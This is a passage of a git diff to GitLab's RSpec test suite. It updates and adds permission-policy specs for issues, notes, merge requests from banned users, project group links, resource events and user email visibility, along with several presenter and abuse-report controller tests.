expect(permissions(guest, issue_locked)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(guest, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(guest, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows reporters to read, update, reopen, and admin issues' do
- expect(permissions(reporter, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(reporter, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(reporter, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(reporter, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(reporter, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(reporter, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
expect(permissions(reporter, issue_locked)).to be_disallowed(:reopen_issue)
- expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows reporters from group links to read, update, reopen and admin issues' do
- expect(permissions(reporter_from_group_link, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(reporter_from_group_link, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
expect(permissions(reporter_from_group_link, issue_no_assignee)).to be_allowed(:reopen_issue)
- expect(permissions(reporter_from_group_link, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(reporter_from_group_link, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
expect(permissions(reporter_from_group_link, issue_locked)).to be_disallowed(:reopen_issue)
- expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows issue authors to read, reopen and update their issues' do
- expect(permissions(author, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :reopen_issue)
+ expect(permissions(author, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :reopen_issue, :admin_issue_relation)
expect(permissions(author, issue)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(author, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
+ expect(permissions(author, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :admin_issue_relation)
expect(permissions(author, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(author, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(author, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue_relation)
expect(permissions(author, issue_locked)).to be_disallowed(:admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(author, new_issue)).to be_allowed(:create_issue)
+ expect(permissions(author, new_issue)).to be_allowed(:create_issue, :admin_issue_relation)
expect(permissions(author, new_issue)).to be_disallowed(:set_issue_metadata)
end
it 'allows issue assignees to read, reopen and update their issues' do
- expect(permissions(assignee, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :reopen_issue)
+ expect(permissions(assignee, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :reopen_issue, :admin_issue_relation)
expect(permissions(assignee, issue)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(assignee, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
+ expect(permissions(assignee, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :admin_issue_relation)
expect(permissions(assignee, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(assignee, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(assignee, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue_relation)
expect(permissions(assignee, issue_locked)).to be_disallowed(:admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
end
@@ -335,6 +335,10 @@ RSpec.describe IssuePolicy, feature_category: :team_planning do
expect(permissions(guest, issue)).to be_allowed(:update_subscription)
end
+ it 'allows guests to admin relation' do
+ expect(permissions(guest, issue)).to be_allowed(:admin_issue_relation)
+ end
+
context 'when admin mode is enabled', :enable_admin_mode do
it 'allows admins to view' do
expect(permissions(admin, issue)).to be_allowed(:read_issue)
@@ -356,9 +360,9 @@ RSpec.describe IssuePolicy, feature_category: :team_planning do
end
it 'does not allow non-members to update or create issues' do
- expect(permissions(non_member, issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(non_member, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(non_member, new_issue)).to be_disallowed(:create_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(non_member, issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(non_member, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(non_member, new_issue)).to be_disallowed(:create_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it_behaves_like 'alert bot'
@@ -376,24 +380,24 @@ RSpec.describe IssuePolicy, feature_category: :team_planning do
end
it 'allows reporters to read, update, and admin confidential issues' do
- expect(permissions(reporter, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :admin_issue_relation)
expect(permissions(reporter, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
end
it 'allows reporter from group links to read, update, and admin confidential issues' do
- expect(permissions(reporter_from_group_link, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter_from_group_link, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :admin_issue_relation)
expect(permissions(reporter_from_group_link, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
end
it 'allows issue authors to read and update their confidential issues' do
- expect(permissions(author, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(author, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue_relation)
expect(permissions(author, confidential_issue)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
expect(permissions(author, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
end
it 'allows issue assignees to read and update their confidential issues' do
- expect(permissions(assignee, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(assignee, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue_relation)
expect(permissions(assignee, confidential_issue)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
expect(permissions(assignee, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
@@ -432,8 +436,8 @@ RSpec.describe IssuePolicy, feature_category: :team_planning do
it 'does not allow accessing notes' do
# if notes widget is disabled not even maintainer can access notes
- expect(permissions(maintainer, task)).to be_disallowed(:create_note, :read_note, :mark_note_as_confidential, :read_internal_note)
- expect(permissions(admin, task)).to be_disallowed(:create_note, :read_note, :read_internal_note, :mark_note_as_confidential, :set_note_created_at)
+ expect(permissions(maintainer, task)).to be_disallowed(:create_note, :read_note, :mark_note_as_internal, :read_internal_note)
+ expect(permissions(admin, task)).to be_disallowed(:create_note, :read_note, :read_internal_note, :mark_note_as_internal, :set_note_created_at)
end
end
@@ -441,10 +445,10 @@ RSpec.describe IssuePolicy, feature_category: :team_planning do
it 'allows accessing notes' do
# with notes widget enabled, even guests can access notes
expect(permissions(guest, issue)).to be_allowed(:create_note, :read_note)
- expect(permissions(guest, issue)).to be_disallowed(:read_internal_note, :mark_note_as_confidential, :set_note_created_at)
- expect(permissions(reporter, issue)).to be_allowed(:create_note, :read_note, :read_internal_note, :mark_note_as_confidential)
- expect(permissions(maintainer, issue)).to be_allowed(:create_note, :read_note, :read_internal_note, :mark_note_as_confidential)
- expect(permissions(owner, issue)).to be_allowed(:create_note, :read_note, :read_internal_note, :mark_note_as_confidential, :set_note_created_at)
+ expect(permissions(guest, issue)).to be_disallowed(:read_internal_note, :mark_note_as_internal, :set_note_created_at)
+ expect(permissions(reporter, issue)).to be_allowed(:create_note, :read_note, :read_internal_note, :mark_note_as_internal)
+ expect(permissions(maintainer, issue)).to be_allowed(:create_note, :read_note, :read_internal_note, :mark_note_as_internal)
+ expect(permissions(owner, issue)).to be_allowed(:create_note, :read_note, :read_internal_note, :mark_note_as_internal, :set_note_created_at)
end
end
end
diff --git a/spec/policies/merge_request_policy_spec.rb b/spec/policies/merge_request_policy_spec.rb
index 741a0db3009..c21e1244402 100644
--- a/spec/policies/merge_request_policy_spec.rb
+++ b/spec/policies/merge_request_policy_spec.rb
@@ -461,4 +461,34 @@ RSpec.describe MergeRequestPolicy do
end
end
end
+
+ context 'when the author of the merge request is banned', feature_category: :insider_threat do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:admin) { create(:user, :admin) }
+ let_it_be(:author) { create(:user, :banned) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:hidden_merge_request) { create(:merge_request, source_project: project, author: author) }
+
+ it 'does not allow non-admin user to read the merge_request' do
+ expect(permissions(user, hidden_merge_request)).not_to be_allowed(:read_merge_request)
+ end
+
+ it 'allows admin to read the merge_request', :enable_admin_mode do
+ expect(permissions(admin, hidden_merge_request)).to be_allowed(:read_merge_request)
+ end
+
+ context 'when the `hide_merge_requests_from_banned_users` feature flag is disabled' do
+ before do
+ stub_feature_flags(hide_merge_requests_from_banned_users: false)
+ end
+
+ it 'allows non-admin users to read the merge_request' do
+ expect(permissions(user, hidden_merge_request)).to be_allowed(:read_merge_request)
+ end
+
+ it 'allows admin users to read the merge_request', :enable_admin_mode do
+ expect(permissions(admin, hidden_merge_request)).to be_allowed(:read_merge_request)
+ end
+ end
+ end
end
diff --git a/spec/policies/note_policy_spec.rb b/spec/policies/note_policy_spec.rb
index dcfc398806a..f4abe3a223c 100644
--- a/spec/policies/note_policy_spec.rb
+++ b/spec/policies/note_policy_spec.rb
@@ -311,7 +311,7 @@ RSpec.describe NotePolicy, feature_category: :team_planning do
end
end
- context 'with confidential notes' do
+ context 'with internal notes' do
def permissions(user, note)
described_class.new(user, note)
end
@@ -332,54 +332,54 @@ RSpec.describe NotePolicy, feature_category: :team_planning do
project.add_guest(guest)
end
- shared_examples_for 'confidential notes permissions' do
- it 'does not allow non members to read confidential notes and replies' do
- expect(permissions(non_member, confidential_note)).to be_disallowed(:read_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_confidential)
+ shared_examples_for 'internal notes permissions' do
+ it 'does not allow non members to read internal notes and replies' do
+ expect(permissions(non_member, internal_note)).to be_disallowed(:read_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_internal)
end
- it 'does not allow guests to read confidential notes and replies' do
- expect(permissions(guest, confidential_note)).to be_disallowed(:read_note, :read_internal_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_confidential)
+ it 'does not allow guests to read internal notes and replies' do
+ expect(permissions(guest, internal_note)).to be_disallowed(:read_note, :read_internal_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_internal)
end
it 'allows reporter to read all notes but not resolve and admin them' do
- expect(permissions(reporter, confidential_note)).to be_allowed(:read_note, :award_emoji, :mark_note_as_confidential)
- expect(permissions(reporter, confidential_note)).to be_disallowed(:admin_note, :reposition_note, :resolve_note)
+ expect(permissions(reporter, internal_note)).to be_allowed(:read_note, :award_emoji, :mark_note_as_internal)
+ expect(permissions(reporter, internal_note)).to be_disallowed(:admin_note, :reposition_note, :resolve_note)
end
it 'allows developer to read and resolve all notes' do
- expect(permissions(developer, confidential_note)).to be_allowed(:read_note, :award_emoji, :resolve_note, :mark_note_as_confidential)
- expect(permissions(developer, confidential_note)).to be_disallowed(:admin_note, :reposition_note)
+ expect(permissions(developer, internal_note)).to be_allowed(:read_note, :award_emoji, :resolve_note, :mark_note_as_internal)
+ expect(permissions(developer, internal_note)).to be_disallowed(:admin_note, :reposition_note)
end
it 'allows maintainers to read all notes and admin them' do
- expect(permissions(maintainer, confidential_note)).to be_allowed(:read_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_confidential)
+ expect(permissions(maintainer, internal_note)).to be_allowed(:read_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_internal)
end
context 'when admin mode is enabled', :enable_admin_mode do
it 'allows admins to read all notes and admin them' do
- expect(permissions(admin, confidential_note)).to be_allowed(:read_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_confidential)
+ expect(permissions(admin, internal_note)).to be_allowed(:read_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_internal)
end
end
context 'when admin mode is disabled' do
- it 'does not allow non members to read confidential notes and replies' do
- expect(permissions(admin, confidential_note)).to be_disallowed(:read_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_confidential)
+ it 'does not allow non members to read internal notes and replies' do
+ expect(permissions(admin, internal_note)).to be_disallowed(:read_note, :admin_note, :reposition_note, :resolve_note, :award_emoji, :mark_note_as_internal)
end
end
it 'disallows noteable author to read and resolve all notes' do
- expect(permissions(author, confidential_note)).to be_disallowed(:read_note, :resolve_note, :award_emoji, :mark_note_as_confidential, :admin_note, :reposition_note)
+ expect(permissions(author, internal_note)).to be_disallowed(:read_note, :resolve_note, :award_emoji, :mark_note_as_internal, :admin_note, :reposition_note)
end
end
context 'for issues' do
let(:issue) { create(:issue, project: project, author: author, assignees: [assignee]) }
- let(:confidential_note) { create(:note, :confidential, project: project, noteable: issue) }
+ let(:internal_note) { create(:note, :confidential, project: project, noteable: issue) }
- it_behaves_like 'confidential notes permissions'
+ it_behaves_like 'internal notes permissions'
it 'disallows noteable assignees to read all notes' do
- expect(permissions(assignee, confidential_note)).to be_disallowed(:read_note, :award_emoji, :mark_note_as_confidential, :admin_note, :reposition_note, :resolve_note)
+ expect(permissions(assignee, internal_note)).to be_disallowed(:read_note, :award_emoji, :mark_note_as_internal, :admin_note, :reposition_note, :resolve_note)
end
end
end
diff --git a/spec/policies/project_group_link_policy_spec.rb b/spec/policies/project_group_link_policy_spec.rb
new file mode 100644
index 00000000000..7c8a4619e47
--- /dev/null
+++ b/spec/policies/project_group_link_policy_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ProjectGroupLinkPolicy, feature_category: :authentication_and_authorization do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group, :private) }
+ let_it_be(:group2) { create(:group, :private) }
+ let_it_be(:project) { create(:project, :private, group: group) }
+
+ let(:project_group_link) do
+ create(:project_group_link, project: project, group: group2, group_access: Gitlab::Access::DEVELOPER)
+ end
+
+ subject(:policy) { described_class.new(user, project_group_link) }
+
+ context 'when the user is a group owner' do
+ before do
+ project_group_link.group.add_owner(user)
+ end
+
+ context 'when user is not project maintainer' do
+ it 'can admin group_project_link' do
+ expect(policy).to be_allowed(:admin_project_group_link)
+ end
+ end
+
+ context 'when user is a project maintainer' do
+ before do
+ project_group_link.project.add_maintainer(user)
+ end
+
+ it 'can admin group_project_link' do
+ expect(policy).to be_allowed(:admin_project_group_link)
+ end
+ end
+ end
+
+ context 'when user is not a group owner' do
+ context 'when user is a project maintainer' do
+ it 'can admin group_project_link' do
+ project_group_link.project.add_maintainer(user)
+
+ expect(policy).to be_allowed(:admin_project_group_link)
+ end
+ end
+
+ context 'when user is not a project maintainer' do
+ it 'cannot admin group_project_link' do
+ project_group_link.project.add_developer(user)
+
+ expect(policy).to be_disallowed(:admin_project_group_link)
+ end
+ end
+ end
+end
diff --git a/spec/policies/project_policy_spec.rb b/spec/policies/project_policy_spec.rb
index e370f536519..a98f091b9fc 100644
--- a/spec/policies/project_policy_spec.rb
+++ b/spec/policies/project_policy_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ProjectPolicy do
+RSpec.describe ProjectPolicy, feature_category: :authentication_and_authorization do
include ExternalAuthorizationServiceHelpers
include AdminModeHelper
include_context 'ProjectPolicy context'
diff --git a/spec/policies/resource_label_event_policy_spec.rb b/spec/policies/resource_label_event_policy_spec.rb
index eff2b0e1af5..66a249c38d9 100644
--- a/spec/policies/resource_label_event_policy_spec.rb
+++ b/spec/policies/resource_label_event_policy_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ResourceLabelEventPolicy do
+RSpec.describe ResourceLabelEventPolicy, feature_category: :team_planning do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :private) }
let_it_be(:issue) { create(:issue, project: project) }
diff --git a/spec/policies/resource_milestone_event_policy_spec.rb b/spec/policies/resource_milestone_event_policy_spec.rb
new file mode 100644
index 00000000000..22d1f837ae3
--- /dev/null
+++ b/spec/policies/resource_milestone_event_policy_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ResourceMilestoneEventPolicy, feature_category: :team_planning do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :private) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:private_project) { create(:project, :private) }
+
+ describe '#read_resource_milestone_event' do
+ context 'with non-member user' do
+ it 'does not allow to read event' do
+ event = build_event(project)
+
+ expect(permissions(user, event)).to be_disallowed(:read_milestone, :read_resource_milestone_event, :read_note)
+ end
+ end
+
+ context 'with member user' do
+ before do
+ project.add_guest(user)
+ end
+
+ it 'allows to read event for accessible milestone' do
+ event = build_event(project)
+
+ expect(permissions(user, event)).to be_allowed(:read_milestone, :read_resource_milestone_event, :read_note)
+ end
+
+ it 'does not allow to read event for not accessible milestone' do
+ event = build_event(private_project)
+
+ expect(permissions(user, event)).to be_disallowed(:read_milestone, :read_resource_milestone_event, :read_note)
+ end
+ end
+ end
+
+ describe '#read_milestone' do
+ before do
+ project.add_guest(user)
+ end
+
+ it 'allows to read deleted milestone' do
+ event = build(:resource_milestone_event, issue: issue, milestone: nil)
+
+ expect(permissions(user, event)).to be_allowed(:read_milestone, :read_resource_milestone_event, :read_note)
+ end
+
+ it 'allows to read accessible milestone' do
+ event = build_event(project)
+
+ expect(permissions(user, event)).to be_allowed(:read_milestone, :read_resource_milestone_event, :read_note)
+ end
+
+ it 'does not allow to read not accessible milestone' do
+ event = build_event(private_project)
+
+ expect(permissions(user, event)).to be_disallowed(:read_milestone, :read_resource_milestone_event, :read_note)
+ end
+ end
+
+ def build_event(project)
+ milestone = create(:milestone, project: project)
+
+ build(:resource_milestone_event, issue: issue, milestone: milestone)
+ end
+
+ def permissions(user, issue)
+ described_class.new(user, issue)
+ end
+end
diff --git a/spec/policies/resource_state_event_policy_spec.rb b/spec/policies/resource_state_event_policy_spec.rb
new file mode 100644
index 00000000000..30f52f45c37
--- /dev/null
+++ b/spec/policies/resource_state_event_policy_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ResourceStateEventPolicy, feature_category: :team_planning do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :private) }
+ let_it_be(:issue) { create(:issue, project: project) }
+
+ describe '#read_resource_state_event' do
+ context 'with non-member user' do
+ it 'does not allow to read event' do
+ event = build_event(project)
+
+ expect(permissions(user, event)).to be_disallowed(:read_resource_state_event, :read_note)
+ end
+ end
+
+ context 'with member user' do
+ before do
+ project.add_guest(user)
+ end
+
+ it 'allows to read event for a state change' do
+ event = build_event(project)
+
+ expect(permissions(user, event)).to be_allowed(:read_resource_state_event, :read_note)
+ end
+ end
+ end
+
+ def build_event(label_project)
+ build(:resource_state_event, issue: issue, state: 2)
+ end
+
+ def permissions(user, issue)
+ described_class.new(user, issue)
+ end
+end
diff --git a/spec/policies/todo_policy_spec.rb b/spec/policies/todo_policy_spec.rb
index 34ba7bf9276..fa62f53c628 100644
--- a/spec/policies/todo_policy_spec.rb
+++ b/spec/policies/todo_policy_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe TodoPolicy do
+RSpec.describe TodoPolicy, feature_category: :project_management do
using RSpec::Parameterized::TableSyntax
let_it_be(:project) { create(:project) }
diff --git a/spec/policies/user_policy_spec.rb b/spec/policies/user_policy_spec.rb
index d02a94b810e..94b7e295167 100644
--- a/spec/policies/user_policy_spec.rb
+++ b/spec/policies/user_policy_spec.rb
@@ -246,4 +246,30 @@ RSpec.describe UserPolicy do
end
end
end
+
+ describe ':read_user_email_address' do
+ context 'when user is admin' do
+ let(:current_user) { admin }
+
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed(:read_user_email_address) }
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.not_to be_allowed(:read_user_email_address) }
+ end
+ end
+
+ context 'when user is not an admin' do
+ context 'requesting their own' do
+ subject { described_class.new(current_user, current_user) }
+
+ it { is_expected.to be_allowed(:read_user_email_address) }
+ end
+
+ context "requesting a different user's" do
+ it { is_expected.not_to be_allowed(:read_user_email_address) }
+ end
+ end
+ end
end
diff --git a/spec/policies/work_item_policy_spec.rb b/spec/policies/work_item_policy_spec.rb
index ed76ec1eccf..3d282271d60 100644
--- a/spec/policies/work_item_policy_spec.rb
+++ b/spec/policies/work_item_policy_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe WorkItemPolicy do
let_it_be(:reporter) { create(:user).tap { |user| project.add_reporter(user) } }
let_it_be(:group_reporter) { create(:user).tap { |user| group.add_reporter(user) } }
let_it_be(:non_member_user) { create(:user) }
- let_it_be(:work_item) { create(:work_item, project: project) }
+ let_it_be_with_reload(:work_item) { create(:work_item, project: project) }
let_it_be(:authored_work_item) { create(:work_item, project: project, author: guest_author) }
let_it_be(:public_work_item) { create(:work_item, project: public_project) }
diff --git a/spec/presenters/ci/build_runner_presenter_spec.rb b/spec/presenters/ci/build_runner_presenter_spec.rb
index 952de121cc4..dedfe6925c5 100644
--- a/spec/presenters/ci/build_runner_presenter_spec.rb
+++ b/spec/presenters/ci/build_runner_presenter_spec.rb
@@ -349,16 +349,6 @@ RSpec.describe Ci::BuildRunnerPresenter do
public: false, masked: false }
)
end
-
- it 'logs file_variable_is_referenced_in_another_variable' do
- expect(Gitlab::AppJsonLogger).to receive(:info).with(
- event: 'file_variable_is_referenced_in_another_variable',
- project_id: project.id,
- variable: 'file_var'
- ).once
-
- runner_variables
- end
end
context 'when there is a raw variable to expand' do
@@ -385,23 +375,6 @@ RSpec.describe Ci::BuildRunnerPresenter do
public: false, masked: false }
)
end
-
- context 'when the FF ci_raw_variables_in_yaml_config is disabled' do
- before do
- stub_feature_flags(ci_raw_variables_in_yaml_config: false)
- end
-
- it 'returns expanded variables' do
- expect(runner_variables).to include(
- { key: 'regular_var', value: 'value 1',
- public: false, masked: false },
- { key: 'raw_var', value: 'value 2',
- public: false, masked: false, raw: true },
- { key: 'var_with_variables', value: 'value 3 and value 1 and value 2 and $undefined_var',
- public: false, masked: false }
- )
- end
- end
end
end
diff --git a/spec/presenters/ci/stage_presenter_spec.rb b/spec/presenters/ci/stage_presenter_spec.rb
index 368f03b0150..e7187b4ac16 100644
--- a/spec/presenters/ci/stage_presenter_spec.rb
+++ b/spec/presenters/ci/stage_presenter_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Ci::StagePresenter do
let!(:retried_build) { create(:ci_build, :tags, :artifacts, :retried, pipeline: stage.pipeline, stage: stage.name) }
before do
- create(:generic_commit_status, pipeline: stage.pipeline, stage: stage.name)
+ create(:generic_commit_status, pipeline: stage.pipeline, ci_stage: stage)
end
shared_examples 'preloaded associations for CI status' do
diff --git a/spec/presenters/packages/nuget/packages_metadata_presenter_spec.rb b/spec/presenters/packages/nuget/packages_metadata_presenter_spec.rb
index 39682a3311c..87a87cd8d70 100644
--- a/spec/presenters/packages/nuget/packages_metadata_presenter_spec.rb
+++ b/spec/presenters/packages/nuget/packages_metadata_presenter_spec.rb
@@ -2,12 +2,13 @@
require 'spec_helper'
-RSpec.describe Packages::Nuget::PackagesMetadataPresenter do
+RSpec.describe Packages::Nuget::PackagesMetadataPresenter, feature_category: :package_registry do
include_context 'with expected presenters dependency groups'
let_it_be(:project) { create(:project) }
let_it_be(:packages) { create_list(:nuget_package, 5, :with_metadatum, name: 'Dummy.Package', project: project) }
- let_it_be(:presenter) { described_class.new(packages) }
+
+ let(:presenter) { described_class.new(project.packages) }
describe '#count' do
subject { presenter.count }
@@ -28,6 +29,14 @@ RSpec.describe Packages::Nuget::PackagesMetadataPresenter do
end
end
+ it 'avoids N+1 database queries' do
+ control = ActiveRecord::QueryRecorder.new { described_class.new(project.packages).items }
+
+ create(:nuget_package, :with_metadatum, name: 'Dummy.Package', project: project)
+
+ expect { described_class.new(project.packages).items }.not_to exceed_query_limit(control)
+ end
+
it 'returns an array' do
items = subject
diff --git a/spec/presenters/project_presenter_spec.rb b/spec/presenters/project_presenter_spec.rb
index 4c2b87f34a1..e3221c18afc 100644
--- a/spec/presenters/project_presenter_spec.rb
+++ b/spec/presenters/project_presenter_spec.rb
@@ -286,6 +286,46 @@ RSpec.describe ProjectPresenter do
link: presenter.project_usage_quotas_path(project)
)
end
+
+ describe '#gitlab_ci_anchor_data' do
+ before do
+ project.update!(auto_devops_enabled: false)
+ end
+
+ context 'when user cannot collaborate' do
+ it 'returns no value' do
+ expect(presenter.gitlab_ci_anchor_data).to be(nil)
+ end
+ end
+
+ context 'when user can collaborate' do
+ before do
+ project.add_developer(user)
+ end
+
+ context 'and the CI/CD file is missing' do
+ it 'returns `Set up CI/CD` button' do
+ expect(presenter.gitlab_ci_anchor_data).to have_attributes(
+ is_link: false,
+ label: a_string_including('Set up CI/CD'),
+ link: presenter.project_ci_pipeline_editor_path(project)
+ )
+ end
+ end
+
+ context 'and there is a CI/CD file' do
+ it 'returns `CI/CD configuration` button' do
+ allow(project.repository).to receive(:gitlab_ci_yml).and_return 'Default content'
+
+ expect(presenter.gitlab_ci_anchor_data).to have_attributes(
+ is_link: false,
+ label: a_string_including('CI/CD configuration'),
+ link: presenter.project_ci_pipeline_editor_path(project)
+ )
+ end
+ end
+ end
+ end
end
describe '#releases_anchor_data' do
diff --git a/spec/requests/abuse_reports_controller_spec.rb b/spec/requests/abuse_reports_controller_spec.rb
index 510855d95e0..49a80689c65 100644
--- a/spec/requests/abuse_reports_controller_spec.rb
+++ b/spec/requests/abuse_reports_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe AbuseReportsController, feature_category: :users do
+RSpec.describe AbuseReportsController, feature_category: :insider_threat do
let(:reporter) { create(:user) }
let(:user) { create(:user) }
let(:attrs) do
@@ -16,6 +16,18 @@ RSpec.describe AbuseReportsController, feature_category: :users do
end
describe 'GET new' do
+ let(:ref_url) { 'http://example.com' }
+
+ it 'sets the instance variables' do
+ get new_abuse_report_path(user_id: user.id, ref_url: ref_url)
+
+ expect(assigns(:abuse_report)).to be_kind_of(AbuseReport)
+ expect(assigns(:abuse_report)).to have_attributes(
+ user_id: user.id,
+ reported_from_url: ref_url
+ )
+ end
+
context 'when the user has already been deleted' do
it 'redirects the reporter to root_path' do
user_id = user.id
@@ -40,6 +52,82 @@ RSpec.describe AbuseReportsController, feature_category: :users do
end
end
+ describe 'POST add_category', :aggregate_failures do
+ subject(:request) { post add_category_abuse_reports_path, params: request_params }
+
+ let(:abuse_category) { 'spam' }
+
+ context 'when user is reported for abuse' do
+ let(:ref_url) { 'http://example.com' }
+ let(:request_params) do
+ { user_id: user.id, abuse_report: { category: abuse_category, reported_from_url: ref_url } }
+ end
+
+ it 'renders new template' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template(:new)
+ end
+
+ it 'sets the instance variables' do
+ subject
+
